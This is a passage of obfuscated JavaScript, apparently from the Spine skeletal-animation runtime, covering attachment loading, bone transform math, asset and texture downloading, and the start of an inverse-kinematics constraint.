'\x20(sequence:\x20' + _0x85a3c1 + ')'); _0x578e82[_0x3ebb21] = _0x148854, _0x578e82[_0x3ebb21]['renderObject'] = _0x578e82[_0x3ebb21]; } } ['newRegionAttachment'](_0x9a9934, _0x3ad66f, _0x73ecc3, _0x5160aa) { let _0x53d994 = new _0x2c3c3c(_0x3ad66f, _0x73ecc3); if (null != _0x5160aa) this['loadSequence'](_0x3ad66f, _0x73ecc3, _0x5160aa); else { let _0x5f5a33 = this['atlas']['findRegion'](_0x73ecc3); if (!_0x5f5a33) throw new Error('Region\x20not\x20found\x20in\x20atlas:\x20' + _0x73ecc3 + '\x20(region\x20attachment:\x20' + _0x3ad66f + ')'); _0x5f5a33['renderObject'] = _0x5f5a33, _0x53d994['region'] = _0x5f5a33; } return _0x53d994; } ['newMeshAttachment'](_0x31cdee, _0x47b3d0, _0x2a182c, _0xcb15fe) { let _0x449c30 = new _0x14aa55(_0x47b3d0, _0x2a182c); if (null != _0xcb15fe) this['loadSequence'](_0x47b3d0, _0x2a182c, _0xcb15fe); else { let _0x16e688 = this['atlas']['findRegion'](_0x2a182c); if (!_0x16e688) throw new Error('Region\x20not\x20found\x20in\x20atlas:\x20' + _0x2a182c + '\x20(mesh\x20attachment:\x20' + _0x47b3d0 + ')'); _0x16e688['renderObject'] = _0x16e688, _0x449c30['region'] = _0x16e688; } return _0x449c30; } ['newBoundingBoxAttachment'](_0x9444a9, _0x240bb0) { return new _0xe9c142(_0x240bb0); } ['newPathAttachment'](_0x1f0548, _0x574a0c) { return new _0x27d2b5(_0x574a0c); } ['newPointAttachment'](_0x6ad26d, _0x57755b) { return new _0x582327(_0x57755b); } ['newClippingAttachment'](_0x55d9bc, _0x5422b0) { return new _0xafd745(_0x5422b0); } }, _0x4a09a6 = class { constructor(_0x8d110d, _0xdba291, _0x19d00e) { if (this['index'] = 0x0, this['parent'] = null, this['length'] = 0x0, this['x'] = 0x0, this['y'] = 0x0, this['rotation'] = 0x0, this['scaleX'] = 0x1, this['scaleY'] = 0x1, this['shearX'] = 0x0, this['shearY'] = 0x0, this['transformMode'] = _0x1f1575['Normal'], this['skinRequired'] = !0x1, this['color'] = new _0x1acaf1(), _0x8d110d < 0x0) throw new Error('index\x20must\x20be\x20>=\x200.'); if (!_0xdba291) throw new Error('name\x20cannot\x20be\x20null.'); this['index'] = _0x8d110d, this['name'] = _0xdba291, this['parent'] = _0x19d00e; } }, _0x1f1575 = (_0x4fa823 => (_0x4fa823[_0x4fa823['Normal'] = 0x0] = 'Normal', _0x4fa823[_0x4fa823['OnlyTranslation'] = 0x1] = 'OnlyTranslation', _0x4fa823[_0x4fa823['NoRotationOrReflection'] = 0x2] = 'NoRotationOrReflection', _0x4fa823[_0x4fa823['NoScale'] = 0x3] = 'NoScale', _0x4fa823[_0x4fa823['NoScaleOrReflection'] = 0x4] = 'NoScaleOrReflection', _0x4fa823))(_0x1f1575 || {}), _0x58bfd5 = class { constructor(_0x258e8c, _0x27556e, _0x20db21) { if (this['parent'] = null, this['children'] = new Array(), this['x'] = 0x0, this['y'] = 0x0, this['rotation'] = 0x0, this['scaleX'] = 0x0, this['scaleY'] = 0x0, this['shearX'] = 0x0, this['shearY'] = 0x0, this['ax'] = 0x0, this['ay'] = 0x0, this['arotation'] = 0x0, this['ascaleX'] = 0x0, this['ascaleY'] = 0x0, this['ashearX'] = 0x0, this['ashearY'] = 0x0, this['a'] = 0x0, this['b'] = 0x0, this['c'] = 0x0, this['d'] = 0x0, this['worldY'] = 0x0, this['worldX'] = 0x0, this['sorted'] = !0x1, this['active'] = !0x1, !_0x258e8c) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x27556e) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x258e8c, this['skeleton'] = _0x27556e, this['parent'] = _0x20db21, this['setToSetupPose'](); } ['isActive']() { return this['active']; } ['update']() { this['updateWorldTransformWith'](this['ax'], this['ay'], this['arotation'], this['ascaleX'], this['ascaleY'], this['ashearX'], this['ashearY']); } ['updateWorldTransform']() { this['updateWorldTransformWith'](this['x'], this['y'], this['rotation'], this['scaleX'], this['scaleY'], this['shearX'], this['shearY']); } ['updateWorldTransformWith'](_0x28942e, _0x377f53, _0x1ccd7d, _0x59c33f, _0x38a789, _0x46a1aa, _0x5e8ab7) { this['ax'] = _0x28942e, this['ay'] = _0x377f53, this['arotation'] = _0x1ccd7d, this['ascaleX'] = _0x59c33f, this['ascaleY'] = _0x38a789, this['ashearX'] = _0x46a1aa, this['ashearY'] = _0x5e8ab7; let _0x4bbd3e = this['parent']; if (!_0x4bbd3e) { let _0x2d0fe8 = this['skeleton'], _0x2b1de9 = _0x1ccd7d + 0x5a + _0x5e8ab7, _0x3a2d96 = _0x2d0fe8['scaleX'], _0x25ae33 = _0x2d0fe8['scaleY']; return this['a'] = _0x19ba92['cosDeg'](_0x1ccd7d + _0x46a1aa) * _0x59c33f * _0x3a2d96, this['b'] = _0x19ba92['cosDeg'](_0x2b1de9) * _0x38a789 * _0x3a2d96, this['c'] = _0x19ba92['sinDeg'](_0x1ccd7d + _0x46a1aa) * _0x59c33f * _0x25ae33, this['d'] = _0x19ba92['sinDeg'](_0x2b1de9) * _0x38a789 * _0x25ae33, this['worldX'] = _0x28942e * _0x3a2d96 + _0x2d0fe8['x'], void (this['worldY'] = _0x377f53 * _0x25ae33 + _0x2d0fe8['y']); } let _0x460602 = _0x4bbd3e['a'], _0x2f33d1 = _0x4bbd3e['b'], _0x5c480d = _0x4bbd3e['c'], _0x219a2e = _0x4bbd3e['d']; switch (this['worldX'] = _0x460602 * _0x28942e + _0x2f33d1 * _0x377f53 + _0x4bbd3e['worldX'], this['worldY'] = _0x5c480d * _0x28942e + _0x219a2e * _0x377f53 + _0x4bbd3e['worldY'], this['data']['transformMode']) { case 0x0: { let _0x47c166 = _0x1ccd7d + 0x5a + _0x5e8ab7, _0x3c0520 = _0x19ba92['cosDeg'](_0x1ccd7d + _0x46a1aa) * _0x59c33f, _0x5794c7 = _0x19ba92['cosDeg'](_0x47c166) * _0x38a789, _0x31be75 = _0x19ba92['sinDeg'](_0x1ccd7d + _0x46a1aa) * _0x59c33f, _0x2c9bdd = _0x19ba92['sinDeg'](_0x47c166) * _0x38a789; return this['a'] = _0x460602 * _0x3c0520 + _0x2f33d1 * _0x31be75, this['b'] = _0x460602 * _0x5794c7 + _0x2f33d1 * _0x2c9bdd, this['c'] = _0x5c480d * _0x3c0520 + _0x219a2e * _0x31be75, void (this['d'] = _0x5c480d * _0x5794c7 + _0x219a2e * _0x2c9bdd); } case 0x1: { let _0x5c31f8 = _0x1ccd7d + 0x5a + _0x5e8ab7; this['a'] = _0x19ba92['cosDeg'](_0x1ccd7d + _0x46a1aa) * _0x59c33f, this['b'] = _0x19ba92['cosDeg'](_0x5c31f8) * _0x38a789, this['c'] = _0x19ba92['sinDeg'](_0x1ccd7d + _0x46a1aa) * _0x59c33f, this['d'] = _0x19ba92['sinDeg'](_0x5c31f8) * _0x38a789; break; } case 0x2: { let _0x215a9f = _0x460602 * _0x460602 + _0x5c480d * _0x5c480d, _0x4ef2b2 = 0x0; _0x215a9f > 0.0001 ? (_0x215a9f = Math['abs'](_0x460602 * _0x219a2e - _0x2f33d1 * _0x5c480d) / _0x215a9f, _0x460602 /= this['skeleton']['scaleX'], _0x5c480d /= this['skeleton']['scaleY'], _0x2f33d1 = _0x5c480d * _0x215a9f, _0x219a2e = _0x460602 * _0x215a9f, _0x4ef2b2 = Math['atan2'](_0x5c480d, _0x460602) * _0x19ba92['radDeg']) : (_0x460602 = 0x0, _0x5c480d = 0x0, _0x4ef2b2 = 0x5a - Math['atan2'](_0x219a2e, _0x2f33d1) * _0x19ba92['radDeg']); let _0x41441c = _0x1ccd7d + _0x46a1aa - _0x4ef2b2, _0x4b8346 = _0x1ccd7d + _0x5e8ab7 - _0x4ef2b2 + 0x5a, _0x25f8b7 = _0x19ba92['cosDeg'](_0x41441c) * _0x59c33f, _0xfece19 = _0x19ba92['cosDeg'](_0x4b8346) * _0x38a789, _0x5d8396 = _0x19ba92['sinDeg'](_0x41441c) * _0x59c33f, _0xc447e5 = _0x19ba92['sinDeg'](_0x4b8346) * _0x38a789; this['a'] = _0x460602 * _0x25f8b7 - _0x2f33d1 * _0x5d8396, this['b'] = _0x460602 * _0xfece19 - _0x2f33d1 * _0xc447e5, this['c'] = _0x5c480d * _0x25f8b7 + _0x219a2e * _0x5d8396, this['d'] = _0x5c480d * _0xfece19 + _0x219a2e * _0xc447e5; break; } case 0x3: case 0x4: { let _0x3d76f1 = _0x19ba92['cosDeg'](_0x1ccd7d), _0xb18a20 = _0x19ba92['sinDeg'](_0x1ccd7d), _0x1369d1 = (_0x460602 * _0x3d76f1 + _0x2f33d1 * _0xb18a20) / this['skeleton']['scaleX'], _0x58c8f9 = (_0x5c480d * _0x3d76f1 + _0x219a2e * _0xb18a20) / this['skeleton']['scaleY'], _0xe3170e = Math['sqrt'](_0x1369d1 * _0x1369d1 + _0x58c8f9 * _0x58c8f9); _0xe3170e > 0.00001 && (_0xe3170e = 0x1 / _0xe3170e), _0x1369d1 *= _0xe3170e, _0x58c8f9 *= _0xe3170e, _0xe3170e = Math['sqrt'](_0x1369d1 * _0x1369d1 + _0x58c8f9 * _0x58c8f9), 0x3 == this['data']['transformMode'] && _0x460602 * _0x219a2e - _0x2f33d1 * _0x5c480d < 0x0 != (this['skeleton']['scaleX'] < 0x0 != this['skeleton']['scaleY'] < 0x0) && (_0xe3170e = -_0xe3170e); let _0x23334f = Math['PI'] / 0x2 + Math['atan2'](_0x58c8f9, _0x1369d1), _0x258cb7 = Math['cos'](_0x23334f) * _0xe3170e, _0x2d8503 = Math['sin'](_0x23334f) * _0xe3170e, _0xf415fb = _0x19ba92['cosDeg'](_0x46a1aa) * _0x59c33f, _0x36def0 = _0x19ba92['cosDeg'](0x5a + _0x5e8ab7) * _0x38a789, _0x1ae022 = _0x19ba92['sinDeg'](_0x46a1aa) * _0x59c33f, _0x3781b4 = _0x19ba92['sinDeg'](0x5a + _0x5e8ab7) * _0x38a789; this['a'] = _0x1369d1 * _0xf415fb + _0x258cb7 * _0x1ae022, this['b'] = _0x1369d1 * _0x36def0 + _0x258cb7 * _0x3781b4, this['c'] = _0x58c8f9 * _0xf415fb + _0x2d8503 * _0x1ae022, this['d'] = _0x58c8f9 * _0x36def0 + _0x2d8503 * _0x3781b4; break; } }this['a'] *= this['skeleton']['scaleX'], this['b'] *= this['skeleton']['scaleX'], this['c'] *= this['skeleton']['scaleY'], this['d'] *= this['skeleton']['scaleY']; } ['setToSetupPose']() { let _0x52efa8 = this['data']; this['x'] = _0x52efa8['x'], this['y'] = _0x52efa8['y'], this['rotation'] = _0x52efa8['rotation'], this['scaleX'] = _0x52efa8['scaleX'], this['scaleY'] = _0x52efa8['scaleY'], this['shearX'] = _0x52efa8['shearX'], this['shearY'] = _0x52efa8['shearY']; } ['getWorldRotationX']() { return Math['atan2'](this['c'], this['a']) * _0x19ba92['radDeg']; } ['getWorldRotationY']() { return Math['atan2'](this['d'], this['b']) * _0x19ba92['radDeg']; } ['getWorldScaleX']() { return Math['sqrt'](this['a'] * this['a'] + this['c'] * this['c']); } ['getWorldScaleY']() { return Math['sqrt'](this['b'] * this['b'] + this['d'] * this['d']); } ['updateAppliedTransform']() { let _0x29a240 = this['parent']; if (!_0x29a240) return this['ax'] = this['worldX'] - this['skeleton']['x'], this['ay'] = this['worldY'] - this['skeleton']['y'], this['arotation'] = Math['atan2'](this['c'], this['a']) * _0x19ba92['radDeg'], this['ascaleX'] = Math['sqrt'](this['a'] * this['a'] + this['c'] * this['c']), this['ascaleY'] = Math['sqrt'](this['b'] * this['b'] + this['d'] * this['d']), this['ashearX'] = 0x0, void (this['ashearY'] = Math['atan2'](this['a'] * this['b'] + this['c'] * this['d'], this['a'] * this['d'] - this['b'] * this['c']) * _0x19ba92['radDeg']); let _0x339190 = _0x29a240['a'], _0x1da587 = _0x29a240['b'], _0x952529 = _0x29a240['c'], _0x4f79a2 = _0x29a240['d'], _0x2893ed = 0x1 / (_0x339190 * _0x4f79a2 - _0x1da587 * _0x952529), _0x46bef0 = this['worldX'] - _0x29a240['worldX'], _0x41abce = this['worldY'] - _0x29a240['worldY']; this['ax'] = _0x46bef0 * _0x4f79a2 * _0x2893ed - _0x41abce * _0x1da587 * _0x2893ed, this['ay'] = _0x41abce * _0x339190 * _0x2893ed - _0x46bef0 * _0x952529 * _0x2893ed; let _0x46b748 = _0x2893ed * _0x4f79a2, _0x384cee = _0x2893ed * _0x339190, _0x406b5b = _0x2893ed * _0x1da587, _0x2202fc = _0x2893ed * _0x952529, _0x3cfde7 = _0x46b748 * this['a'] - _0x406b5b * this['c'], _0xc5a286 = _0x46b748 * this['b'] - _0x406b5b * this['d'], _0x155697 = _0x384cee * this['c'] - _0x2202fc * this['a'], _0x215250 = _0x384cee * this['d'] - _0x2202fc * this['b']; if (this['ashearX'] = 0x0, this['ascaleX'] = Math['sqrt'](_0x3cfde7 * _0x3cfde7 + _0x155697 * _0x155697), this['ascaleX'] > 0.0001) { let _0x54bb81 = _0x3cfde7 * _0x215250 - _0xc5a286 * _0x155697; this['ascaleY'] = _0x54bb81 / this['ascaleX'], this['ashearY'] = Math['atan2'](_0x3cfde7 * _0xc5a286 + _0x155697 * _0x215250, _0x54bb81) * _0x19ba92['radDeg'], this['arotation'] = Math['atan2'](_0x155697, _0x3cfde7) * _0x19ba92['radDeg']; } else this['ascaleX'] = 0x0, this['ascaleY'] = Math['sqrt'](_0xc5a286 * _0xc5a286 + _0x215250 * _0x215250), this['ashearY'] = 0x0, this['arotation'] = 0x5a - Math['atan2'](_0x215250, _0xc5a286) * _0x19ba92['radDeg']; } ['worldToLocal'](_0x259289) { let _0x11afaa = 0x1 / (this['a'] * this['d'] - this['b'] * this['c']), _0x369185 = _0x259289['x'] - this['worldX'], _0x292c9a = _0x259289['y'] - this['worldY']; return _0x259289['x'] = _0x369185 * this['d'] * _0x11afaa - _0x292c9a * this['b'] * _0x11afaa, _0x259289['y'] = _0x292c9a * this['a'] * _0x11afaa - _0x369185 * this['c'] * _0x11afaa, _0x259289; } ['localToWorld'](_0x28d9e8) { let _0x59bdcb = _0x28d9e8['x'], _0x4306b1 = _0x28d9e8['y']; return _0x28d9e8['x'] = _0x59bdcb * this['a'] + _0x4306b1 * this['b'] + this['worldX'], _0x28d9e8['y'] = _0x59bdcb * this['c'] + _0x4306b1 * this['d'] + this['worldY'], _0x28d9e8; } ['worldToLocalRotation'](_0x18fef8) { let _0x81a048 = _0x19ba92['sinDeg'](_0x18fef8), _0x30a626 = _0x19ba92['cosDeg'](_0x18fef8); return Math['atan2'](this['a'] * _0x81a048 - this['c'] * _0x30a626, this['d'] * _0x30a626 - this['b'] * _0x81a048) * _0x19ba92['radDeg'] + this['rotation'] - this['shearX']; } ['localToWorldRotation'](_0x5592d2) { _0x5592d2 -= this['rotation'] - this['shearX']; let _0x5cb8aa = _0x19ba92['sinDeg'](_0x5592d2), _0x14fb04 = _0x19ba92['cosDeg'](_0x5592d2); return Math['atan2'](_0x14fb04 * this['c'] + _0x5cb8aa * this['d'], _0x14fb04 * this['a'] + _0x5cb8aa * this['b']) * _0x19ba92['radDeg']; } ['rotateWorld'](_0x1364d5) { let _0x5308f6 = this['a'], _0x354aed = this['b'], _0x3816ea = this['c'], _0x56be27 = this['d'], _0x1cda66 = _0x19ba92['cosDeg'](_0x1364d5), _0x132bff = _0x19ba92['sinDeg'](_0x1364d5); this['a'] = _0x1cda66 * _0x5308f6 - _0x132bff * _0x3816ea, this['b'] = _0x1cda66 * _0x354aed - _0x132bff * _0x56be27, this['c'] = _0x132bff * _0x5308f6 + _0x1cda66 * _0x3816ea, this['d'] = _0x132bff * _0x354aed + _0x1cda66 * _0x56be27; } }, _0x13597a = class { constructor(_0x503d90, _0x4745e6, _0x5ae119) { this['name'] = _0x503d90, this['order'] = _0x4745e6, this['skinRequired'] = _0x5ae119; } }, _0x164ade = class { constructor(_0x4aef07, _0x81f485 = '', _0xf54a5d = new _0x24200b()) { this['pathPrefix'] = '', this['assets'] = {}, this['errors'] = {}, this['toLoad'] = 0x0, this['loaded'] = 0x0, this['textureLoader'] = _0x4aef07, this['pathPrefix'] = _0x81f485, this['downloader'] = _0xf54a5d; } ['start'](_0x6af89b) { return this['toLoad']++, this['pathPrefix'] + _0x6af89b; } ['success'](_0x197faa, _0x1db627, _0x5b3f68) { this['toLoad']--, this['loaded']++, this['assets'][_0x1db627] = _0x5b3f68, _0x197faa && _0x197faa(_0x1db627, _0x5b3f68); } ['error'](_0x14fc2d, _0x53f0f0, _0x32d49f) { this['toLoad']--, this['loaded']++, this['errors'][_0x53f0f0] = _0x32d49f, _0x14fc2d && _0x14fc2d(_0x53f0f0, _0x32d49f); } ['loadAll']() { return new Promise((_0x22813e, _0x2e187a) => { let _0x138024 = () => { this['isLoadingComplete']() ? this['hasErrors']() ? _0x2e187a(this['errors']) : _0x22813e(this) : requestAnimationFrame(_0x138024); }; requestAnimationFrame(_0x138024); }); } ['setRawDataURI'](_0x4a5078, _0x1b3dd9) { this['downloader']['rawDataUris'][this['pathPrefix'] + _0x4a5078] = _0x1b3dd9; } ['loadBinary'](_0x7e5d77, _0x3bf886 = () => { }, _0x3ba0a3 = () => { }) { _0x7e5d77 = this['start'](_0x7e5d77), this['downloader']['downloadBinary'](_0x7e5d77, _0x1b225d => { this['success'](_0x3bf886, _0x7e5d77, _0x1b225d); }, (_0x370f14, _0x583065) => { this['error'](_0x3ba0a3, _0x7e5d77, 'Couldn\x27t\x20load\x20binary\x20' + _0x7e5d77 + ':\x20status\x20' + _0x370f14 + ',\x20' + _0x583065); }); } ['loadText'](_0x1b87f0, _0x398301 = () => { }, _0x25d07b = () => { }) { _0x1b87f0 = this['start'](_0x1b87f0), this['downloader']['downloadText'](_0x1b87f0, _0x565477 => { this['success'](_0x398301, _0x1b87f0, _0x565477); }, (_0x4c1457, _0x1d444c) => { this['error'](_0x25d07b, _0x1b87f0, 'Couldn\x27t\x20load\x20text\x20' + _0x1b87f0 + ':\x20status\x20' + _0x4c1457 + ',\x20' + _0x1d444c); }); } ['loadJson'](_0x2b5e93, _0x53250d = () => { }, _0x217ec0 = () => { }) { _0x2b5e93 = this['start'](_0x2b5e93), this['downloader']['downloadJson'](_0x2b5e93, _0x2a998d => { this['success'](_0x53250d, _0x2b5e93, _0x2a998d); }, (_0x314034, _0x11583a) => { this['error'](_0x217ec0, _0x2b5e93, 'Couldn\x27t\x20load\x20JSON\x20' + _0x2b5e93 + ':\x20status\x20' + _0x314034 + ',\x20' + _0x11583a); }); } ['loadTexture'](_0x4d253d, _0x4dd0d8 = () => { }, _0x3a6432 = () => { }) { if (_0x4d253d = this['start'](_0x4d253d), !!('undefined' == typeof window || 'undefined' == typeof navigator || !window['document'])) fetch(_0x4d253d, { 'mode': 'cors' })['then'](_0x1a2da1 => _0x1a2da1['ok'] ? _0x1a2da1['blob']() : (this['error'](_0x3a6432, _0x4d253d, 'Couldn\x27t\x20load\x20image:\x20' + _0x4d253d), null))['then'](_0x59ace7 => _0x59ace7 ? createImageBitmap(_0x59ace7, { 'premultiplyAlpha': 'none', 'colorSpaceConversion': 'none' }) : null)['then'](_0x433b96 => { _0x433b96 && this['success'](_0x4dd0d8, _0x4d253d, this['textureLoader'](_0x433b96)); }); else { let _0x4ba4b4 = new Image(); _0x4ba4b4['crossOrigin'] = 'anonymous', _0x4ba4b4['onload'] = () => { this['success'](_0x4dd0d8, _0x4d253d, this['textureLoader'](_0x4ba4b4)); }, _0x4ba4b4['onerror'] = () => { this['error'](_0x3a6432, _0x4d253d, 'Couldn\x27t\x20load\x20image:\x20' + _0x4d253d); }, this['downloader']['rawDataUris'][_0x4d253d] && (_0x4d253d = this['downloader']['rawDataUris'][_0x4d253d]), _0x4ba4b4['src'] = _0x4d253d; } } ['loadTextureAtlas'](_0x49dae6, _0x184e47 = () => { }, _0x8df88 = () => { }, _0x42a2a4) { let _0xd6e1e7 = _0x49dae6['lastIndexOf']('/'), _0x1d24e9 = _0xd6e1e7 >= 0x0 ? _0x49dae6['substring'](0x0, _0xd6e1e7 + 0x1) : ''; _0x49dae6 = this['start'](_0x49dae6), this['downloader']['downloadText'](_0x49dae6, _0x4407c1 => { try { let _0x80b72c = new _0x2de0d1(_0x4407c1), _0x5b9e39 = _0x80b72c['pages']['length'], _0x4c1bde = !0x1; for (let _0x5d8320 of _0x80b72c['pages']) this['loadTexture'](_0x42a2a4 ? _0x42a2a4[_0x5d8320['name']] : _0x1d24e9 + _0x5d8320['name'], (_0x453cd2, _0x1d0cfa) => { _0x4c1bde || (_0x5d8320['setTexture'](_0x1d0cfa), 0x0 == --_0x5b9e39 && this['success'](_0x184e47, _0x49dae6, _0x80b72c)); }, (_0x190287, _0x358bbd) => { _0x4c1bde || this['error'](_0x8df88, _0x49dae6, 'Couldn\x27t\x20load\x20texture\x20atlas\x20' + _0x49dae6 + '\x20page\x20image:\x20' + _0x190287), _0x4c1bde = !0x0; }); } catch (_0x1aa75a) { this['error'](_0x8df88, _0x49dae6, 'Couldn\x27t\x20parse\x20texture\x20atlas\x20' + _0x49dae6 + ':\x20' + _0x1aa75a['message']); } }, (_0x3372ee, _0x42e322) => { this['error'](_0x8df88, _0x49dae6, 'Couldn\x27t\x20load\x20texture\x20atlas\x20' + _0x49dae6 + ':\x20status\x20' + _0x3372ee + ',\x20' + _0x42e322); }); } ['get'](_0x405bd2) { return this['assets'][this['pathPrefix'] + _0x405bd2]; } ['require'](_0x16b067) { _0x16b067 = this['pathPrefix'] + _0x16b067; let _0x22c7ec = this['assets'][_0x16b067]; if (_0x22c7ec) return _0x22c7ec; let _0x32030b = this['errors'][_0x16b067]; throw Error('Asset\x20not\x20found:\x20' + _0x16b067 + (_0x32030b ? '\x0a' + _0x32030b : '')); } ['remove'](_0x85440a) { _0x85440a = this['pathPrefix'] + _0x85440a; let _0x206b1f = this['assets'][_0x85440a]; return _0x206b1f['dispose'] && _0x206b1f['dispose'](), delete this['assets'][_0x85440a], _0x206b1f; } ['removeAll']() { for (let _0x1be8c7 in this['assets']) { let _0x4f5dd2 = this['assets'][_0x1be8c7]; _0x4f5dd2['dispose'] && _0x4f5dd2['dispose'](); } this['assets'] = {}; } ['isLoadingComplete']() { return 0x0 == this['toLoad']; } ['getToLoad']() { return this['toLoad']; } ['getLoaded']() { return this['loaded']; } ['dispose']() { this['removeAll'](); } ['hasErrors']() { return Object['keys'](this['errors'])['length'] > 0x0; } ['getErrors']() { return this['errors']; } }, _0x24200b = class { constructor() { this['callbacks'] = {}, this['rawDataUris'] = {}; } ['dataUriToString'](_0x5bc462) { if (!_0x5bc462['startsWith']('data:')) throw new Error('Not\x20a\x20data\x20URI.'); let _0x530af9 = _0x5bc462['indexOf']('base64,'); return -0x1 != _0x530af9 ? (_0x530af9 += 'base64,'['length'], atob(_0x5bc462['substr'](_0x530af9))) : _0x5bc462['substr'](_0x5bc462['indexOf'](',') + 0x1); } ['base64ToUint8Array'](_0x3ab14d) { for (var _0x50e4d8 = window['atob'](_0x3ab14d), _0x397c32 = _0x50e4d8['length'], _0x12c522 = new Uint8Array(_0x397c32), _0x5a9985 = 0x0; _0x5a9985 < _0x397c32; _0x5a9985++)_0x12c522[_0x5a9985] = _0x50e4d8['charCodeAt'](_0x5a9985); return _0x12c522; } ['dataUriToUint8Array'](_0x4e78b2) { if (!_0x4e78b2['startsWith']('data:')) throw new Error('Not\x20a\x20data\x20URI.'); let _0x2c74e2 = _0x4e78b2['indexOf']('base64,'); if (-0x1 == _0x2c74e2) throw new Error('Not\x20a\x20binary\x20data\x20URI.'); return _0x2c74e2 += 'base64,'['length'], this['base64ToUint8Array'](_0x4e78b2['substr'](_0x2c74e2)); } ['downloadText'](_0x5ed40e, _0x369b07, _0x2749ce) { if (this['start'](_0x5ed40e, _0x369b07, _0x2749ce)) return; if (this['rawDataUris'][_0x5ed40e]) { try { let _0x49b9a8 = this['rawDataUris'][_0x5ed40e]; this['finish'](_0x5ed40e, 0xc8, this['dataUriToString'](_0x49b9a8)); } catch (_0x2b65d6) { this['finish'](_0x5ed40e, 0x190, JSON['stringify'](_0x2b65d6)); } return; } let _0x16b3c2 = new XMLHttpRequest(); _0x16b3c2['overrideMimeType']('text/html'), _0x16b3c2['open']('GET', _0x5ed40e, !0x0); let _0x2bf28c = () => { this['finish'](_0x5ed40e, _0x16b3c2['status'], _0x16b3c2['responseText']); }; _0x16b3c2['onload'] = _0x2bf28c, _0x16b3c2['onerror'] = _0x2bf28c, _0x16b3c2['send'](); } ['downloadJson'](_0x457c76, _0x59f133, _0x1154ef) { this['downloadText'](_0x457c76, _0x3eea87 => { _0x59f133(JSON['parse'](_0x3eea87)); }, _0x1154ef); } ['downloadBinary'](_0x3438c5, _0x398ea7, _0x1610cc) { if (this['start'](_0x3438c5, _0x398ea7, _0x1610cc)) return; if (this['rawDataUris'][_0x3438c5]) { try { let _0x4add7e = this['rawDataUris'][_0x3438c5]; this['finish'](_0x3438c5, 0xc8, this['dataUriToUint8Array'](_0x4add7e)); } catch (_0x35015b) { this['finish'](_0x3438c5, 0x190, JSON['stringify'](_0x35015b)); } return; } let _0x272066 = new XMLHttpRequest(); _0x272066['open']('GET', _0x3438c5, !0x0), _0x272066['responseType'] = 'arraybuffer'; let _0x59a190 = () => { this['finish'](_0x3438c5, _0x272066['status'], _0x272066['response']); }; _0x272066['onload'] = () => { 0xc8 == _0x272066['status'] || 0x0 == _0x272066['status'] ? this['finish'](_0x3438c5, 0xc8, new Uint8Array(_0x272066['response'])) : _0x59a190(); }, _0x272066['onerror'] = _0x59a190, _0x272066['send'](); } ['start'](_0x5527d7, _0x47f969, _0x5ab58d) { let _0xfbc517 = this['callbacks'][_0x5527d7]; try { if (_0xfbc517) return !0x0; this['callbacks'][_0x5527d7] = _0xfbc517 = []; } finally { _0xfbc517['push'](_0x47f969, _0x5ab58d); } } ['finish'](_0x3983c3, _0x3c2c43, _0x42d7ff) { let _0x14a11b = this['callbacks'][_0x3983c3]; delete this['callbacks'][_0x3983c3]; let _0x14bd0b = 0xc8 == _0x3c2c43 || 0x0 == _0x3c2c43 ? [_0x42d7ff] : [_0x3c2c43, _0x42d7ff]; for (let _0x5e1fbe = _0x14bd0b['length'] - 0x1, _0x35218b = _0x14a11b['length']; _0x5e1fbe < _0x35218b; _0x5e1fbe += 0x2)_0x14a11b[_0x5e1fbe]['apply'](null, _0x14bd0b); } }, _0x49644a = class { constructor(_0x54b3ff, _0x3dbf8f) { if (this['intValue'] = 0x0, this['floatValue'] = 0x0, this['stringValue'] = null, this['time'] = 0x0, this['volume'] = 0x0, this['balance'] = 0x0, !_0x3dbf8f) throw new Error('data\x20cannot\x20be\x20null.'); this['time'] = _0x54b3ff, this['data'] = _0x3dbf8f; } }, _0x39c213 = class { constructor(_0x213969) { this['intValue'] = 0x0, this['floatValue'] = 0x0, this['stringValue'] = null, this['audioPath'] = null, this['volume'] = 0x0, this['balance'] = 0x0, this['name'] = _0x213969; } }, _0x552570 = class { constructor(_0x37f9d1, _0x3f7e87) { if (this['bendDirection'] = 0x0, this['compress'] = !0x1, this['stretch'] = !0x1, this['mix'] = 0x1, this['softness'] = 0x0, this['active'] = !0x1, !_0x37f9d1) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x3f7e87) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x37f9d1, this['mix'] = _0x37f9d1['mix'], this['softness'] = _0x37f9d1['softness'], this['bendDirection'] = _0x37f9d1['bendDirection'], this['compress'] = _0x37f9d1['compress'], this['stretch'] = _0x37f9d1['stretch'], this['bones'] = new Array(); for (let _0x1e2995 = 0x0; _0x1e2995 < _0x37f9d1['bones']['length']; _0x1e2995++) { let _0x290106 = _0x3f7e87['findBone'](_0x37f9d1['bones'][_0x1e2995]['name']); if (!_0x290106) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x37f9d1['bones'][_0x1e2995]['name']); this['bones']['push'](_0x290106); } let _0x28e875 = _0x3f7e87['findBone'](_0x37f9d1['target']['name']); if (!_0x28e875) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x37f9d1['target']['name']); this['target'] = _0x28e875; } ['isActive']() { return this['active']; } ['update']() { if (0x0 == this['mix']) return; let _0x3755a5 = this['target'], _0x4fd51f = this['bones']; switch (_0x4fd51f['length']) { case 0x1: this['apply1'](_0x4fd51f[0x0], _0x3755a5['worldX'], _0x3755a5['worldY'], this['compress'], this['stretch'], this['data']['uniform'], this['mix']); break; case 0x2: this['apply2'](_0x4fd51f[0x0], _0x4fd51f[0x1], _0x3755a5['worldX'], _0x3755a5['worldY'], this['bendDirection'], this['stretch'], this['data']['uniform'], this['softness'], this['mix']); } } ['apply1'](_0x166654, _0x490d78, _0x17d728, _0x33c433, _0x5be09f, _0x525a12, _0x1d5e3f) { let _0x46c3fd = _0x166654['parent']; if (!_0x46c3fd) throw new Error('IK\x20bone\x20must\x20have\x20parent.'); let _0x3e5628 = _0x46c3fd['a'], _0xa9b725 = _0x46c3fd['b'], _0x522bfc = _0x46c3fd['c'], _0x3e8206 = _0x46c3fd['d'], _0x12fcd2 = -_0x166654['ashearX'] - _0x166654['arotation'], _0x5bfc8d = 0x0, _0x4e578b = 0x0; switch (_0x166654['data']['transformMode']) { case 0x1: _0x5bfc8d = _0x490d78 - _0x166654['worldX'], _0x4e578b = _0x17d728 - _0x166654['worldY']; break; case 0x2: let _0x1c56e7 = Math['abs'](_0x3e5628 * _0x3e8206 - _0xa9b725 * _0x522bfc) / (_0x3e5628 * _0x3e5628 + _0x522bfc * 